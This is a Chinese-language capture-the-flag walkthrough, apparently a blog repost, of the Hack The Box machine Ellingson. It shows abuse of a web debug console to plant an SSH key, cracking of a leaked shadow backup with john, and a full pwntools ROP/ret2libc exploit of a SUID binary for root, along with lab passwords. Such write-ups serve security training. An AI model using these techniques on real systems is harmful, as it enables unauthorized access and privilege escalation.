zoukankan      html  css  js  c++  java
  • HTB-靶机-Ellingson

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.139

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.139 -o ./Ellingson-autorecon

    扫描出来的结果就开放了两个端口22和80端口,我们直接访问web应用

    点击了下面的3个功能页面

    其中发现Suspicious Network activity有重要信息

    看到上述提示,反馈说有些通用的密码跟Love,Secret,Sex,God有关,这个先放着后面可能会用的到,丢个单引号发现报错

    翻看了相关信息发现报错的页面右边有个调式模式的类似命令行的图标

    点击此图标发现可以进入python的交互模式,可直接写代码

    可以执行命令操作了,就方便了,本想直接读取目标靶机的当前私钥,但是发现私钥有秘密,那么直接本地kali生成一个公钥和私钥直接写进去即可

    proc = subprocess.check_output('echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfjdrW5okibmnT9c3hsAoSZPJ0XcCN92f998ZkCcWehEHXTmpkGJE7qedYSbr78pQITNnIXpVEJXlKYaTQUf68JUKCiBWwLQes3SfHN6SoRe4hiC4LtgtXiUmRIYYY//PXEdgbH7dFvX67fA8p/6Mz/R6ITS4OvHDQCLNwV8wmu46pS4xEq9/Rsp3nc6OjHVWAvnwnBmNTjUWEGuKH5Vvqw5yM0/PV5SeeyaB0R5jm4M7YL1/h8RRVvInt5M20/FaR5wWL4pEeGXsqKPjZUtdCfgPkZwF/4Oi6aOYSKGVmQrnbsetG5F2//IuUTBEkgQp4HevL1hNw3iAH+PNh/iHlVhafeYw9rZ/G9G97vGCsTy7UVYRk55nJQuHTRhZOkt8jAqfBgjLwP/Gn6wXIGWFmSLaKO//jJuSYYVXGIu9vjTGSLEUQtSQKrf+vL94jtGDRYArDnqFvJopj3HJK39B8O2PhVhQ0bh+YbQNWPoHsc5O7UH/6LcREUnppzSKf2yE= kali@kali" > /home/hal/.ssh/authorized_keys', shell=True );

    连接成功执行了id命令发现当前用户是adm组的,也可以直接执行groups命令进行查看,检索靶机上该的相关文件

    find / -group adm 2>/dev/null

    发现了一个备份文件shadow.bak直接读取看看

    发现多个加密用户的hash值,提权这些hash进行破解,相关的命令操作

    cat shadow.bak | grep -v '*' | awk -F ':' '{print $1":"$2}' > hashes
    grep -iE 'love|sex|secret|god' /usr/share/wordlists/rockyou.txt > wordlist  (这里前面已经提到了)
    -E 参数表示过滤多个参数
    john -w=wordlist --fork=4 hashes
    --fork 表示指定4核CPU进行跑密码
    参考官方文档:https://www.openwall.com/john/doc/OPTIONS.shtml

    得到用户margo的密码,直接su切换过去

    到了这一步就要开始提权了,先看看suid权限的文件

    find / -type f -perm -4000 2>/dev/null

    发现可疑的文件garbage,执行此文件显示要输入密码,使用ltrace命令调试跟踪下程序

    ltrace garbage

    发现了一个比较密码的操作,猜测就是密码 N3veRF3@r1iSh3r3!

    下面我们需要分享此二进制文件,相关分析文章可以参考:https://0xrick.github.io/hack-the-box/ellingson/ 我这直接给出exploit获取root权限

    #!/usr/bin/python
    from pwn import *
    
    s = ssh(host = "10.10.10.139", user = "margo", password = "iamgod$08")
    context(os = "linux", arch = "amd64")
    p = s.process("/usr/bin/garbage")
    buf_size = 136
    puts_plt = 0x401050
    puts_got = 0x404028
    pop_rdi = 0x40179b
    main_addr = 0x401619
    
    buf = 'A' * buf_size
    buf += p64(pop_rdi)
    buf += p64(puts_got)
    buf += p64(puts_plt)
    buf += p64(main_addr)
    
    p.sendline(buf)
    p.recvuntil("access denied.")
    leaked_puts = p.recv()[:8].strip().ljust(8, 'x00')
    log.info("Leaked address: {}".format(leaked_puts.encode('hex')))
    
    puts_glibc = 0x809c0
    offset = u64(leaked_puts) - puts_glibc
    system_glibc = 0x4f440
    setuid_glibc = 0xe5970
    sh = 0x1b3e9a
    
    system = p64(offset + system_glibc)
    shell = p64(offset + sh)
    setuid = p64(offset + setuid_glibc)
    
    buf = 'A' * buf_size
    buf += p64(pop_rdi) + p64(0) + setuid
    buf += p64(pop_rdi) + shell + system
    p.sendline(buf)
    
    p.interactive()

  • 相关阅读:
    Python使用MySQL数据库的方法以及一个实例
    【转载】关于Python中的yield
    利用KMeans聚类进行航空公司客户价值分析
    Python多线程编程
    搜索与排名思路整理
    两个UIView添加同一个手势只有最后一个有用
    缩放动画效果
    iOS通过UIAlertController弹出底部选择框来调用相机或者相册
    ios webview点击图片看大图效果及相应手势操作
    iOS开发:获取设备IP地址
  • 原文地址:https://www.cnblogs.com/autopwn/p/14251035.html
Copyright © 2011-2022 走看看